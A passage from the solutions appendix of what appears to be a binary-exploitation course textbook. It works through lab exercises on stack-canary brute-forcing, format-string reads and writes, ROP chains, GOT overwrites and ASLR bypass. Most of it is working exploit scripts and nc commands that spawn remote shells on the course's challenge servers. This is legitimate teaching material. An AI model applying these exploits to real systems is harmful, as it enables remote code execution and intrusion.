canary. We continue in this fashion until we have learned all the bytes of the canary.

We prepare a script (canary2.py) that outputs the payload, given a guess for the first n bytes of
the canary:

canary2.py1 import sys
2 import struct
3
4 offset = 0x200 - 8
5 args = sys.argv[1:]
6
7 payload = struct.pack(’i’, offset + len(args))
8 payload += b"A"*offset
9 for i in args:

10 payload += struct.pack(’B’, int(i))
11
12 sys.stdout.buffer.write(payload)

At line 7 we start the payload with the number of bytes that we want to overwrite, packed as an integer
(4 bytes). The count include the garbage needed to read the canary and the canary byte guesses received
from the command line. Lines 8–10 build the rest of the payload that the victim program will copy on
its stack.

Now we use the canary2.py script repeatedly, to leak all the canary bytes:
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canary2.sh1 #!/bin/bash
2 canary=
3 found=
4 for j in {1..8}; do
5 for i in {0..255}; do
6 echo -ne "$found $i\r"
7 if ! python3 canary2.py $found $i |
8 nc lettieri.iet.unipi.it 4412 |
9 grep -q terminated

10 then
11 found="$found $i"
12 canary="$i $canary"
13 break;
14 fi
15 done
16 done
17 printf "\n%02x%02x%02x%02x%02x%02x%02x%02x\n" $canary

The variable found declared at line 2 contains the list of the bytes that have been correctly guessed so
far, separated by spaces. At line 6 we call the canary2.py script passing it the bytes discovered so
far ($found) and a new guess ($i). If the guess was right (we didn’t see “terminated” in the output),
we append it to found (line 10). For convenience, we also build the canary variable, which contains
the same information of found, only in reverse, to print it correctly at the end (line 16).

Once we know the canary we can overflow the buffer and overwrite the saved rip. Assume that
the canary is 0xa7818e162a75c700 and that win is at 0x4012a2.

$ PYTHONIOENCODING=iso-8859-1 \
> python3 -c ’print("\x00\x00\x02\x10"[::-1] + "A"*(0x200-8) +\
> "\xa7\x81\x8e\x16\x2a\x75\xc7\x00"[::-1] +\
> "B"*8 + "\x00\x00\x00\x00\x00\x40\x12\xa2"[::-1])’ |
> nc lettieri.iet.unipi.it 4412

The first four bytes contain 0x210, which is 0x200 (the offset from the buffer to rbp) plus 16 more
bytes to overwrite the saved rbp and finally the saved rip.

D.6 Format strings

8.1 Starting from the state in Figure 8.2, the machine will process %d, taking the 4 least significant bytes of
rdx and interpreting them as an integer. It will convert the integer to base ten, obtaining 147, and print
it; then, it will update the instruction pointer, the argument pointer, and the output counter. The final
state will be the following:
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a = % x , b

= % d 00

3322110044550000
9300000011000000

. . .

(mirrored)

1 rsi

2 rdx

3 rcx

4 r8

5 r9

6
7
8

(rsp)

Instruction Pointer

3

Argument Pointer

14

Output Counter

printf()machine

a=112233,b=147

output

The next instruction is 00, which halts the printf()machine.

8.2

canary0

We can exploit the format string error to print values from the stack and therefore learn the canary
value. Then we can overwrite the canary with itself when we exploit the buffer overflow to redirect the
control flow to ‘win‘.

By studying the binary, we see that the canary is 8 bytes above rbp. The printf()will take
its first 5 arguments from the registers, then it will start reading values from successive stack lines.
The binary also tells us that, when printf() is called, rsp is still pointing 0x200=512 bytes above
rbp, and therefore (512−8)/8 = 63 stack lines above the canary. Therefore, printf()will read the
canary while reading its argument number 5+63+1 = 69.

$ python3 -c ’print("%lx."*69)’ | nc lettieri.iet.unipi.it 4430 |
> tr . ’\n’ | tail -n1

We inject 69 %lx operators and the last value printed by the server will be the canary. We would like to
have one value per line, for readability, but we cannot inject newlines (why?). Therefore, we separate
each value with a “.” and then use tr to turn the dots into newlines.

Now we can attack the server. Assume the canary is 0x7ff8ff5690b1c100 and win is at
0x401282.

$ python3 -c ’print("A"*(0x200-8)+\
> "\x7f\xf8\xff\x56\x90\xb1\xc1\x00"[::-1] +\
> "B"*8 + "\x00\x00\x00\x00\x00\x40\x12\x82"[::-1])’ |
> nc lettieri.iet.unipi.it 4430

8.3

format1

The idea is to exploit the format string bug to let the server print secret on its stdout. For this we can
use the "%s" format specifier, but we nee to pass it the address of secret. By exploiting the format
string bug a first time as in Exercise 8.2, we can discover that our format string is on the stack, starting
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at argument slot 6, allowing us to use the technique described in Section 8.2.3. We can find the address
of secret with

$ nm format1 | grep secret

The address is 0x4034e0. The only difficulty is that the address contains 5 null bytes, so we cannot put
it at the beginning of our format string. Therefore, we need to start with the format specifier and let it
take its argument further down from the stack. One possibility is as follows

%7$sAAAA

e034400000000000

% 7 $ s A A A A

e0 34 40 00 00 00 00 00
6
7

(mirrored)

6
7

Here we have placed the address on argument slot 7 and we have passed it to the %s operator using the
random-access syntax (Section 8.2.2). Note the four "A"s needed to realign the address.

We can obtain the flag as follows:

$ PYTHONIOENCODING=iso-8859-1 \
> python3 -c ’print("%7$sAAAA"+\
> "\x00\x00\x00\x00\x00\x40\x34\xe0"[::-1])’ |
> nc lettieri.iet.unipi.it 4481

(Recall Section 7.3.2 for why we used PYTHONIOENCODING).
If random-access arguments cannot be used, we need to move the argument pointer ourselves, e.g.

using the %c operator as follows:

%c%c%c%c

%c%c%c%s

e034400000000000

% c % c % c % c

% c % c % c % s

e0 34 40 00 00 00 00 00

6
7
8

(mirrored)

6
7
8

Note the need to move the address further down to make room for the %c operators.

R If we move the address down one slot we free 8 bytes, but we also need one additional %c, which
uses two bytes. The net gain is therefore 6 bytes.

8.4

format2

The format string bug is triggered by unrecognized commands. We can exploit it to overwrite the
is_root variable with any non-zero value, to pass the check in the r command.

The solution is similar to the one of Ex. 8.3, only using the %n operator instead of %s:
1. we find the first argument slot that overlaps the format string (argument slot number 6);
2. we find the address of is_root (0x40352c);
3. we prepare a format string like the following
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AAAA%7$n

2c35400000000000

A A A A % 7 $ n

2c 35 40 00 00 00 00 00
6
7

(mirrored)

6
7

Now we can obtain the flag:

$ python3 -c ’print("AAAA%7$n"+\
> "\x00\x00\x00\x00\x00\x40\x35\x2c"[::-1]+"\n"+\
> "r")’ |
> nc lettieri.iet.unipi.it 4482

Things to note:
• The "A"s do the double task of incrementing the output counter (otherwise we would write 0 in
is_root) and aligning the address to argument-slot 7;

• We have avoided to set PYTHONIOENCODING, since all the bytes are less than 128.
• After the invalid line that exploits the bug, we also send the r command to get the flag.

8.5

format3

This works like Ex. 8.4, with the additional difficulty that we cannot overwrite key with an arbitrary
value. To achieve this, we need to precisely control the output counter, as explained in Section 8.2.4.
Our format string is visible starting from argument slot 6, and the address of key is 0x40352c. We
decide to overwrite one byte at a time, using the scheme of Figure 8.8. However, we cannot put the
addresses at the start of the format string, because they are full of null bytes, so we need to put them at
the end, leaving enough room at the begining for the rest of the string.

The task is complex enough that it is worth writing a script1:

format3.py1 import sys
2 import struct
3
4 target = 0x22331144
5 key = 0x40352c
6 firstarg = 12
7
8 fs = b""
9 oc = 0

10 arg = firstarg
11 for b in target.to_bytes(4, ’little’):
12 nv = b - (oc % 256)
13 if nv < 0:
14 nv += 256
15 fs += f"%{nv}c%{arg}$hhn".encode()
16 oc += nv
17 arg += 1
18 fs += b"A" * ((firstarg - 6) * 8 - len(fs))
19 for i in range(4):
20 fs += struct.pack(’Q’, key)

1Available at https://lettieri.iet.unipi.it/hacking/sol/format.zip.

https://lettieri.iet.unipi.it/hacking/sol/format.zip
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21 key += 1
22
23 sys.stdout.buffer.write(fs + b"\nr\n")

At line 6 we select the argument slot that will be used by the first %n operator. Lines 9–17 build the first
part of the string. Variable oc keeps track of the output counter, while nv is the number of additional
bytes that we have to output to bring the LSB of oc to the desired value. Line 18 adds padding to align
the addresses, which are added in lines 19–21. Lines 23 outputs the format string, followed by the r
command that reads the flag.

The script outputs the following format string:

%68c%12$

hhn%205c

%13$hhn%

34c%14$h

hn%239c%

15$hhnAA

2c35400000000000
2d35400000000000
2e35400000000000
2f35400000000000

% 6 8 c % 1 2 $

h h n % 2 0 5 c

% 1 3 $ h h n %

3 4 c % 1 4 $ h

h n % 2 3 9 c %

1 5 $ h h n A A

2c 35 40 00 00 00 00 00
2d 35 40 00 00 00 00 00
2e 35 40 00 00 00 00 00
2f 35 40 00 00 00 00 00

6
7
8
9

10
11
12
13
14
15

(mirrored)

6
7
8
9

10
11
12
13
14
15

If we put the above script in a format3.py script, we can obtain the flag with

$ python3 format3.py | nc lettieri.iet.unipi.it 4483

8.6

canary1

This server only contains a format string vulnerability, so we have to redirect control flow using the
%n specifier. This will also let us overwrite the saved rip without touching the canary. We could
have exploited this technique also for canary0, but reading the canary is simpler. In fact, in order to
overwrite the saved rip, we need to know the absolute stack address where it is stored. In general
we have no way to predict this exactly when we are attacking a remote server, since we don’t control
its arguments and environment. Luckily this is a forking server, which means that we can try with
different addresses as many times as we want. We start with a reasonable estimate, maybe obtained by
running a copy of the server on our system, and then try other values around our estimate, at 8 bytes
increments, until we succeed.

We prepare a python3 script2 that outputs the payload, given an address estimate. The biggest
difficulty, as usual, is the fact the target address will contain null bytes, and printf()stops as soon
as it sees a null byte. We overcome the difficulty by placing the address at the end of the buffer. To
simplify the payload, we exploit the fact that the win function is near the main function, and therefore
we can overwrite just the lower 4 bytes of the saved return address, since the higher addresses will be
(most likely) the same. It is not difficult, however, to prepare a more general payload.

2Available at https://lettieri.iet.unipi.it/hacking/sol/canary.zip.

https://lettieri.iet.unipi.it/hacking/sol/canary.zip
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canary1.py1 import sys
2 import struct
3
4 win = 0x401272 & 0xffff
5 rip = int(sys.argv[1], 0)
6
7 payload = b’%’ + str(win).encode() + b’c’
8 payload += b’%8$hn’
9 payload += b’A’ * ((8-6)*8 - len(payload))

10 payload += struct.pack(’Q’, rip)
11 payload += b’\n’
12
13 sys.stdout.buffer.write(payload)

The first specifier in the payload sets the printf output counter to the value we need, while the second
one writes the counter at the target address. We use the non-standard GNU libc behavior to read the
address directly. We need to decide the exact position of the target address in the buffer, so that we
can choose the correct argument number for %hn. Remember that we cannot use the first 5 arguments,
which are taken from the registers, and we need to leave enough room at the beginning of the buffer
for the %c and %n directives. By studying the binary we see that the 6th argument is at the beginning
of the buffer. We choose to use the 8th argument, which will be at offset 8× (8−6) inside the buffer,
leaving enough room for the other things that we have put before it. Then we pad the payload until we
reach this offset and we finally place the target address. We need to terminate with a newline, to make
the fgets()return.

We write the above script in a canary1.py file and then try to brute-force the saved rip address:

canary1.sh1 for ((i=0x7ffffffff000-8; i >= 0x7ffffffde000; i -= 16))
2 do
3 printf "trying %#x...\n" $i
4 python3 canary1.py $i |
5 nc lettieri.iet.unipi.it 4411 |
6 grep ’^SNH’ && break
7 done

Note that we are not using any estimate and we are just starting from the bottom of the stack. As an
optimization, we have run the binary in the debugger and noted that the last 4 bits of the saved rip
address where 0x8. These bits cannot change, since the stack address can only change by 16 bytes
multiples. Accordingly, the shell script starts with an address which ends in 0x8 and then decrements it
by 16 each time.

Note also that there are more convenient addresses that we can overwrite, other than the saved rip,
but we will talk about them in another lecture.

A lucky find

If we try to dump memory using the addresses already stored in the server’s registers and stack, we find
something interesting: the command
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$ echo ’%4$s’ | nc lettieri.iet.unipi.it 4411

outputs the string %4$s. This most likely means that register r8 contains the address of the local
variable buf when printf() is called. We can easily get the contents of r8 with

$ echo ’%4$lx’ | nc lettieri.iet.unipi.it 4411

Then we can add the result to the offset between the saved rip and buf to get the address of the saved
rip without brute forcing.

D.7 Code reuse
9.1 Any of “push rsp; ret”, “call rsp”, or “jmp rsp” will jump where rsp is pointing. If you

are confused by “push rsp”, check Section A.2.2.
Assume we arrange the stack as follows, where the first line is the overwritten rip:

shellcode

jmp rsp

The intial ret will pop the first line from the stack, thus letting rsp point to the shellcode, and then
start executing the “jmp rsp”. This will jump to the shellcode, without any need to guess its address.
All we need to do is to put the shellcode immediately after the overwritten rip. Let’s apply this idea
to stack5a. We find the load address of the C library, which is 0x7ffff7df8000 in this case, and then
use ropper to search for our gadgets:

(ropper)> file libc.so.6
(libc.so.6/ELF/x86_64)> imagebase 0x7ffff7df8000
(libc.so.6/ELF/x86_64)> badbytes 0a
(libc.so.6/ELF/x86_64)> search jmp rsp
(libc.so.6/ELF/x86_64)> search call rsp
(libc.so.6/ELF/x86_64)> search push rsp

Note that we don’t use “type rop”, since we want to search among all gadgets. There is no “jmp
rsp” in the library, but “call rsp” and “push rsp; ret” can both be found. For example,
“call rsp” is found at address 0x7ffff7e1fa5e. Now we can attack the remote binary as follows:

$ {
> PYTHONIOENCODING=iso-8859-1 \
> python3 -c ’print("A"*136+"\x00\x00\x7f\xff\xf7\xe1\xfa\x5e"[::-1],\
> end="")’
> shellcraft amd64.linux.sh
> echo
> cat
> } | nc lettieri.iet.unipi.it 4405

This immediately gives us a remote shell.
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9.2

rop1

The idea is to call catfile()on "flag.txt" instead of "boringfile.txt". For this, we
need to inject a ROP chain that loads rdi with the address of "flag.txt" in memory and then
jumps to catfile().

First, we extract a few information from the binaries that we can download. In particular, we need:
• the offset between the buffer and the saved return address, to exploit the buffer overflow;
• the load address of the C library, to compute the absolute addresses of the gadgets;
• the address of the "flag.txt" string (we know it’s there!);
• the address of catfile().

The offset between the buffer passed to gets()and the saved rip can be obtained with any of the
usual means. It is 40 bytes. To obtain the other information, unzip the file and load rop3 in the
debugger:

$ unzip rop1.zip
$ gdb rop1

Then, in gdb, we can run

pwndbg> start
pwndbg> vmmap libc.so.6

Note the first address in the first line that mentions libc.so.6: that is the load address of the library.
In our case, it should be 0x7ffff7e05000. To search for the string, just run:

pwndbg> search -t string flag.txt

We should see:

Searching for value: b’flag.txt\x00’
rop1 0x402063 ’flag.txt’
rop1 0x403063 ’flag.txt’

The string is present in a couple of places in memory, and any copy will do equally well. We choose
the first one.

R Actually, these are two images of the same string stored in the ELF file, since the page that
straddles the boundary between readonly and writable data is usually mapped two times in
memory. Note how the page offset of the two strings are the same.

Finally, we can print the address of catfile()directly from the debugger:

pwndbg> print catfile

The address should be 0x401252.
Now we can leave the debugger and start ropper. At the prompt, we type:

(ropper)> file libc.so.6
(libc.so.6/ELF/x86_64)> imagebase 0x7ffff7e05000
(libc.so.6/ELF/x86_64)> type rop
(libc.so.6/ELF/x86_64)> badbytes 0a
(libc.so.6/ELF/x86_64)> search /1/ pop rdi
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We find a “pop rdi; ret” gadget at address 0x7ffff7e2b796.
Now we have all the pieces. Our payload will look like this:

4141414141414141

4141414141414141

4141414141414141

4141414141414141

4141414141414141

96b7e2f7ff7f0000

6320400000000000

5212400000000000

pop rdi; ret

"flag.txt"

catfile()

padding

ROP chain

We inject it as follows:

$ PYTHONIOENCODING=iso-8859-1 \
$ python3 -c ’print("A"*40 + \
> "\x00\x00\x7f\xff\xf7\xe2\xb7\x96"[::-1]+ \
> "\x00\x00\x00\x00\x00\x40\x20\x63"[::-1]+ \
> "\x00\x00\x00\x00\x00\x40\x12\x52"[::-1])’ |
> nc lettieri.iet.unipi.it 4491

9.3

rop2

This binary doesn’t contain the "flag.txt" string, but the filename array is writable, so we can
overwrite it with the help of our “mov qword ptr [rdi], rsi” gadget. We use gdb to obtain
the load address of the C library, nm (or gdb) to obtain the addresses of filename and catfile,
and ropper to extract the necessary gadgets from the libc.so.6 file. This is the payload that we
are going to inject:

4141414141414141

4141414141414141

4141414141414141

4141414141414141

4141414141414141

96b7e2f7ff7f0000

3835400000000000

0fd9e2f7ff7f0000
flag.txt

b253e6f7ff7f0000

5212400000000000

pop rdi; ret

filename

pop rsi; ret

mov qword ptr [rsi], rdi; ret

catfile()

padding

ROP chain

We inject it as follows:
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$ PYTHONIOENCODING=iso-8859-1 \
> python3 -c ’print("A"*40 + \
> "\x00\x00\x7f\xff\xf7\xe2\xb7\x96"[::-1]+ \
> "\x00\x00\x00\x00\x00\x40\x35\x38"[::-1]+ \
> "\x00\x00\x7f\xff\xf7\xe2\xd9\x0f"[::-1]+ \
> "flag.txt"+ \
> "\x00\x00\x7f\xff\xf7\xe6\x53\xb2"[::-1]+ \
> "\x00\x00\x00\x00\x00\x40\x12\x52"[::-1])’ |
> nc lettieri.iet.unipi.it 4492

9.4

rop3

To complete the ROP chain we need the “pop rsi; ret” and “pop rdx; ret” gadgets, some
gadget to either load rcx or zero it out, the address of a "cat" string, and the address of execlp().
The gadgets for rsi and rdx are readily found with ropper and the two addresses can be obtained
from the debugger. The only (minor) difficulty comes from rcx. If we search the smallest possibile
gadget with

(libc.so.6/ELF/x86_64)> search /1/ pop rcx

we obtain only the following:

0x00007ffff7efdfc7: pop rcx; ret 0xf66;

The “ret 0xf66” instruction pops the return address, plus additional 0xf66 bytes. It is used in some
ABIs where the callee, instead of the caller, has to remove the arguments from the stack (it cannot be
used in C, since the callee may not know how many arguments it has received). If we want to use this
gadget to load a constant C into rdx and then continue with gadgets g2 and g3, we need to add 0xf66

padding bytes after the address of g2, like this:

00007ffff7efdfc7

C

4141414141414141

4141414141414141

4141414141414141

414141414141

pop rcx; ret 0xf66

g2

. . .

g3

49
3

lin
e

s

Note how the stack ends up misaligned. This is not necessarily a problem in AMD64, since almost
all its instructions, including ret, tolerate misaligned arguments. However, in case of trouble, the
technique illustrated in Section 9.3.2.5 won’t fix the problem this time: to fix it, we need to find another
“ret x” instruction such that 0xf66+ x≡ 0 (mod 8). If the ROP chain becomes very large, we may
hit other obstacles, such as reaching the unmapped memory below the stack. Workarounds can be
found, but in our case it is better to search for slightly longer gadgets before giving up:

(libc.so.6/ELF/x86_64)> search /2/ pop rcx
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This search brings up many more interesting gadgets, including the following:

0x00007ffff7efd98d: pop rcx; or al, 0; ret;

We can ignore the “or al, 0” instruction and use this gadget as any other “pop reg; ret” gadget.
Now we have all the pieces and we can write our payload. Since the chain is rather long, we prepare

a rop3.py script3:

rop3.py1 import sys
2 import struct
3
4 def p(a): return struct.pack(’Q’, a)
5
6 poprdi = p(0x7ffff7e2b796)
7 poprsi = p(0x7ffff7e2d90f)
8 poprdx = p(0x7ffff7ed01cd)
9 poprcx = p(0x7ffff7efd98d)

10 wrtmem = p(0x7ffff7e653b2)
11 catstr = p(0x7ffff7e1b940)
12 execlp = p(0x7ffff7ed0b20)
13
14 tgtmem = 0x403000
15
16 pad = b’A’ * 136
17 rop = poprdi + p(tgtmem)
18 rop+= poprsi + b’flag.txt’
19 rop+= wrtmem
20 rop+= poprdi + p(tgtmem + 8)
21 rop+= poprsi + p(0)
22 rop+= wrtmem
23 rop+= poprdi + catstr
24 rop+= poprsi + catstr
25 rop+= poprdx + p(tgtmem)
26 rop+= poprcx + p(0)
27 rop+= execlp
28
29 sys.stdout.buffer.write(pad + rop + b’\n’)

Then, we inject it as usual:

$ python3 rop3.py | nc lettieri.iet.unipi.it 4493

9.5

canary3

We try to jump to the third target found by one_gadget, at address 0x7ffff7ed0d20. We reproduce
it here for convenience:

0x7ffff7ed0d20 execve("/bin/sh", rsi, rdx)

3Available at https://lettieri.iet.unipi.it/hacking/sol/rop.zip.

https://lettieri.iet.unipi.it/hacking/sol/rop.zip
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constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

Since puts()has already been called once (line 5 of Figure 9.5), its GOT entry points to the puts()
function in the C library, i.e., not far from our jump target. Indeed, if we look at the GOT in the
debugger after the first call call to puts(), we can see that it contains 0x7ffff7ed0d20, which differs
from our target only in the 3 least significant bytes.

As a first step, we try to adapt the solution to Ex. 8.5 as follows:

1 import sys
2 import struct
3
4 target = 0x7ffff7ed0d20 & 0xffffff
5 got = 0x4033f8
6 firstarg = 12
7
8 fs = b""
9 oc = 0

10 arg = firstarg
11 for b in target.to_bytes(3, ’little’):
12 nv = b - (oc % 256)
13 if nv < 0:
14 nv += 256
15 fs += f"%{nv}c%{arg}$hhn".encode()
16 oc += nv
17 arg += 1
18 fs += b"A" * ((firstarg - 6) * 8 - len(fs))
19 for i in range(3):
20 fs += struct.pack(’Q’, got)
21 got += 1
22
23 sys.stdout.buffer.write(fs + b"\n")

We have set target to the 3 least significant bytes of the jump target (line 4), and got to the address
of the GOT entry of puts()(line 5). The rest of the script is taken from the the solution of Ex. 8.5,
except that at lines 11 and 19 we loop over 3 bytes instead of 4, and at line 23 we don’t send the r
command after the format string. We write the above code in a canary3.py file.

Now we load canary3 in the debugger and set a breakpoint in puts@plt:

pwndbg> b puts@plt
pwndbg> r

From another terminal, we inject the payload into our local server:

$ python3 canary3.py | nc localhost 4415
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The debugger should stop in the child process, inside the puts@plt stub. This is the first call to
the stub in this process, corresponding to the first call to puts() in the child() function. Let the
execution continue with c; the debugger should stop again, in the second call to puts@plt. We
can check that the GOT entry of puts()has been correctly overwritten with “got puts”. Now
we should check that the constrains of the one-gadget are satisfied: we can see that “rdx == NULL”
holds, but neither “[rsi] == NULL”, nor “rsi == NULL” hold. However, we can note that rsi
points to a string of As: these must came from our string. Indeed, rsi is pointing to the stack, to the
first padding A in our payload. This means that we can satisfy the “[rsi] == NULL” constraint by
putting the NULL into our string, by adding

fs += struct.pack(’Q’, 0)

between lines 17 and 18. Note that this null bytes are conveniently put after the last %hnn command,
so they don’t interfere with our format string program. With this modification in place, we can spawn
our remote shell and read the flag:

$ { python3 canary3.py; cat; } | nc lettieri.iet.unipi.it 4415

9.6

aslr0

The idea is to use a first ROP chain that will send us the contents of the GOT, from which we can
learn the address of some libc function. From the libc.so.6 binary we can learn the offsets of these
functions. The difference between any function’s address and its offset is the load address of the libc.
Once we know this address, we can build a ROP chain that spawns a shell using all the ROP gadgets
available in the libc.

We prepare an aslr0.py script4. We start by importing the necessary libraries. . .

aslr0.py1 import sys
2 import struct
3 import socket
4 import time
5 # aslr_common defines p, recvn and mkrop
6 from aslr_common import *

. . . and setting a couple of convenience variables for the connection.

aslr0.py9 host = ’lettieri.iet.unipi.it’
10 port = 4440

In the first ROP chain we will use the write() function the process send us part of its main GOT.
We can call write()even if we don’t yet know the load address of the libc, because the server calls
it, and therefore there is an entry for write() in the PLT, at an address that we can find by simply
examining the server binary (e.g., with “objdump -d”).

We need to call “write(1, GOT_address, n)” where n is large enough to contain a useful
part of the GOT. In the debugger, we can see that when the ROP chain starts, rdi already contains
1 and rdx already contains some sufficiently large number, so we only need to load rsi with the

4Available at https://lettieri.iet.unipi.it/hacking/sol/aslr.zip.

https://lettieri.iet.unipi.it/hacking/sol/aslr.zip
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address of the GOT. For this we find a “pop rsi; pop 15“ gadget at address 0x401579. We store
it, already “packed”, together with the address of the PLT entry of write:

aslr0.py21 pop_rsi_r15 = p(0x401579)
22 write_plt = p(0x401040)

We need a function whose address has already been resolved, i.e., a function that the process has already
called. We choose setsockopt(), which is the first entry in the GOT. The dynamic linker needs a
relocation for this entry, in order to write the address of setsockopt when it finds it. Therefore, we
can find the address of the entry by looking at the relocations contained in the binary:

$ readelf -r aslr0 | grep ’\<setsockopt\>’

We store this address for future use:

aslr0.py24 got = p(0x4033f8)

The libc binary must contain the setsockopt symbol in its dynamic symbol table, otherwise dynamic
linking would not be possible. Therefore, we can find the offset of setsockopt with

$ nm -D libc.so.6 | grep ’\<setsockopt\>’

We store this address too:

aslr0.py26 setsockopt_off = 0xff410

Now we need the offset from the buffer to the saved rip, which we can find with any of the methods
described in Section 7.2.2. Then we prepare the necessary padding bytes:

aslr0.py30 pad = b’A’*(0x30+8)

Now we have all the pieces for our first ROP chain:

aslr0.py35 o = pad
36 o+= pop_rsi_r15
37 o+= got
38 o+= b’B’*8 # dummy value for r15
39 o+= write_plt

We inject the chain into the server stack:

aslr0.py41 s = socket.create_connection((host, port))
42 s.send(o)

The server’s stack now looks like this:
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4141414141414141

4141414141414141

4141414141414141

4141414141414141

4141414141414141

4141414141414141

4141414141414141

7915400000000000

f833400000000000

4242424242424242

4010400000000000

pop rsi; pop r15; ret

GOT

write@plt

initial ret

When the server’s read()returns, the write()call that is already in the server’s code will send us
back our payload, so we first discard it:

aslr0.py44 recvn(s, len(o))

Now, the child() function in the server will try to return to its caller, thus starting our ROP chain
that will send the contents of the GOT. We grab just the first 8 bytes, containing the virtual address of
setsockopt, and unpack them:

aslr0.py46 b = recvn(s, 8)
47 s.close()
48 setsockopt_vaddr = struct.unpack(’Q’, b)[0]

From this we can compute the load address of the libc in the server:

aslr0.py50 libc_base = setsockopt_vaddr - setsockopt_off
51
52 print("libc_base: %x" % libc_base)

R Load addresses must be page aligned. If the number we obtain doesn’t end with three zeroes we
can be certain that our exploit isn’t working.

Now we can use all the gadgets of the libc, and therefore use the provided ROP-chain that spawns a
shell (note that function also needs the initial padding string and will return the full payload: padding +
ROP-chain):

aslr0.py54 rop = mkrop(pad, libc_base)

Since the server is a forking server, all the addresses that we have learnt and used will be the same for
each connection. Therefore, we can connect a second time and cause a second overflow, using the new
payload. If the exploit is successful, now the server is running a shell and we can send it any command.
In this case we send the command that steals the flag.
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aslr0.py56 s = socket.create_connection((host, port))
57 s.send(rop)
58 # discard the bytes sent by the legit write()
59 recvn(s, len(rop))
60 s.send(b’/bin/cat flag.txt\n’)
61 b = s.recv(200)
62 sys.stdout.buffer.write(b’flag: ’ + b)

9.7

aslr1

The GOT of this server doesn’t contain an entry for write(), but the server binary does contain a
gadget that can be used to add a constant to a QWORD in memory. Let us choose a C library function
that the server has already called, such as fork(), and consider the following picture, showing the part
of the virtual memory of the server that contains the GOT of the main executable and the loaded image
of the C library:

. . .
fork:

. . .

write:
. . .

libc.so.6

GOT of aslr1

fork_got

libc_base

libc_base+fork_off

libc_base+write_offwrite_off - fork_off

We don’t know libc_base, but we can obtain fork_off and write_off from the provided
libc.so.6 binary. Since fork()has been used, its got entry (at address fork_got in the picture)
contains libc_base+fork_off. If we add write_off−fork_off we can turn this entry into
a pointer to write, without any need to know the value of libc_base. Once we have a pointer to
write, we can continue as in Ex. 9.6.

To implement this idea we prepare an aslr1.py script5. We start by importing the necessary
libraries and setting a couple of convenience variables for the connection.

aslr1.py1 import sys
2 import struct
3 import socket
4 import time
5 # aslr_common define p, recvn and mkrop
6 from aslr_common import *

aslr1.py8 host = ’lettieri.iet.unipi.it’
9 port = 4441

Now we extract some useful information from the binary and the C library. We save the packed
addresses of some useful gadgets extracted from the binary:

5See note 4.
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aslr1.py16 add_Pr15_rdi = p(0x401206)
17 pop_rdi = p(0x4014ab)
18 pop_rsi_r15 = p(0x4014a9)

We obtain the offset of the fork label in the provided C library:

$ nm -D libc.so.6 | grep ’\<fork\>’

and we save it for later:

aslr1.py21 fork_off = 0xcb470

We also obtain the address of the GOT entry of fork in the binary:

$ readelf -r aslr1 | grep ’\<fork\>’

and save it, already packed:

aslr1.py23 fork_got = p(0x403428)

We obtain the address of the PLT stub of fork() in the binary:

$ objdump -d aslr1 | grep ’<forkplt>:’

and save it too:

aslr1.py25 fork_plt = p(0x401100)

Now, we get the offset of write in the C library:

$ nm -D libc.so.6 | grep ’\<write\>’

and save it:

aslr1.py27 write_off = 0xeef20

The values above are needed in the first stage of our attack. Once we have redirected the GOT entry
of fork to write, we will proceed as in the solution to Ex. 9.6 to defeat ASLR and finally obtain a
shell. For this second part we need to leak the GOT entry of another function, say setsockopt, and
therefore we need the address of its GOT entry:

$ readelf -r aslr1 | grep ’\<setsockopt\>’

aslr1.py29 setsockopt_got = 0x4033c0
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and its offset in the C library:

$ nm -D libc.so.6 | grep ’\<setsockopt\>’

aslr1.py35 setsockopt_off = 0xff410

By studying the binary, we find the offset between the buffer and the saved rip, then we prepare
the necessary padding bytes:

aslr1.py37 pad = b’A’*(0x20+8)

Now we can build our first ROP chain:

aslr1.py41 o = pad
42 o += pop_rdi
43 o += p(write_off - fork_off)
44 o += pop_rsi_r15
45 o += p(setsockopt_got)
46 o += fork_got
47 o += add_Pr15_rdi
48 o += pop_rdi
49 o += p(1)
50 o += fork_plt

Lines 42-46 load rdi with the offset between write and fork in the C library, and r15 with the
address of the GOT entry of fork, then line 47 adds the offset to the GOT entry, obtaining a pointer to
write. Now we want to call “write(1, setsockopt_got, 8)” to leak the address of the C
library. We need a 1 in rdi, setsockopt_got in rsi, and (at least) 8 in rdx. Since the gadget
we used to load r15 also loads rsi, we have already loaded it correctly in lines 44–46. Lines 48–49
load rdi; we can’t control rdx, but in the debugger we can see that it already contains a large enough
value. Finally, line 50 calls write using the PLT entry of fork. From this point on, the solution is
very similar to the one for Ex. 9.6: we inject the ROP chain and obtain the address of the C library:

aslr1.py52 s = socket.create_connection((host, port))
53 s.send(o)
54 b = recvn(s, 0x200)
55 s.close()
56 setsockopt_vaddr = struct.unpack(’Q’, b[:8])[0]
57 libc_base = setsockopt_vaddr - setsockopt_off

from that we can obtain the second ROP chain, the one that spawns a shell:

aslr1.py59 rop = mkrop(pad, libc_base)

We connect again, inject the second chain and get a shell:
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aslr1.py63 s = socket.create_connection((host, port))
64 s.send(rop + (512-len(rop))*b’A’)
65 s.send(b’/bin/cat flag.txt\n’)
66 b = s.recv(200)
67 sys.stdout.buffer.write(b’flag: ’ + b)

9.8

aslr2

This final server has been compiled with PIE, so all the addresses are unknown to us. However, the
echo() function contains a bug: the read()may return n bytes with n < MEDIUM_BUF, but the
function always sends MEDIUM_BUF bytes. Since the other MEDIUM_BUF−n bytes are not initialized,
we can receive part of the stack contents. In particular, if we first cause child()to call do_stuff()
and then echo(), we can receive part of the stack-frame of do_stuff(). This frame may contain
the return addresses pushed on the stack when do_stuff()called myatoi()and/or memcpy(). By
running the binary in the debugger we can see that the buf declared in echo() indeed contains a
couple of return addresses. In particular, it contains do_stuff+52 at offset 7×8.

The idea, then, is to first call do_stuff()and then echo() in the same session. When calling
echo()we send less than 7×8 bytes to avoid overwriting do_stuff+52, which we can than extract
from the returned data. If we subtract the offset of do_stuff (extracted from the binary) and 52, we
obtain the load address of the executable.

We write an aslr2.py script6. We start by importing the usual libraries and the functions
provided by the challenge.

aslr2.py1 import sys
2 import struct
3 import socket
4 from aslr_common import *

We set variables for the connection data.

aslr2.py7 host = ’lettieri.iet.unipi.it’
8 port = 4442

Phase 1: defeat PIE

We find the offset of do_stuff()from the executable’s load address:

$ nm aslr2 | grep ’\<do_stuff\>’

and we store it for later use:

aslr2.py29 do_stuff_off = 0x12b5

Then, we connect to the server to inject our first payload.

aslr2.py31 s = socket.create_connection((host, port))

6See note 4
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We need to be careful with syncronization problems here. We want aslr2 to exit from the first
